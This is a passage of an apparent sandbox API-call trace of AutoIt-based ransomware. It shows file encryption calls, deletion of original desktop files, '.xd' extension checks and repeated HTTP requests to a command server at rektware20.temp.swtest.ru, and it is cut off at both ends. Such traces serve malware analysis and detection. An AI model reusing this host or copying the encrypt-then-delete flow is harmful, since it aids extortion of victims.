lpMsg=0x130e9dc) returned 0 [0078.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.644] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.644] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.648] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.648] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.648] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.649] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x10970, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x10970, lpOverlapped=0x0) returned 1 [0078.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.650] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.650] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.650] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.650] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.651] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0078.651] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.651] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.651] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.651] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.651] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.651] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.651] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.651] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.652] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.652] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.652] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.652] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.652] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.652] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.652] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.652] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0078.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.652] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.653] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.653] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.653] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.665] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.665] CloseHandle (hObject=0x3c8) returned 1 [0078.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.665] CloseHandle (hObject=0x3d8) returned 1 [0078.668] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.669] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.669] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", lpFilePart=0x0) returned 0x32 [0078.669] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ys1jivhj0zgegetl.bmp")) returned 0x20 [0078.669] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0078.669] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ys1jivhj0zgegetl.bmp")) returned 1 [0078.731] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.731] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0078.731] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 1 [0078.732] TranslateMessage (lpMsg=0x130f3bc) returned 0 [0078.732] DispatchMessageW (lpMsg=0x130f3bc) returned 0x0 [0078.732] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ea20) returned 1 [0078.734] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0078.734] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0078.734] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.735] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.735] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.735] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.735] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.735] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.735] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.735] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.735] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.735] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.735] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.735] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0078.735] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.735] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.736] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.736] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.736] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.736] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.736] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.737] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.737] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.737] CloseHandle (hObject=0x0) returned 0 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OqpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qpRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pRSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RSByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ByS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yS0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yjuh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="juh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uh.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.738] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.738] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.738] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.738] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.738] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.738] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.738] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.738] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.738] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ee1c) returned 1 [0078.738] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.738] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.738] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.738] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.738] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, 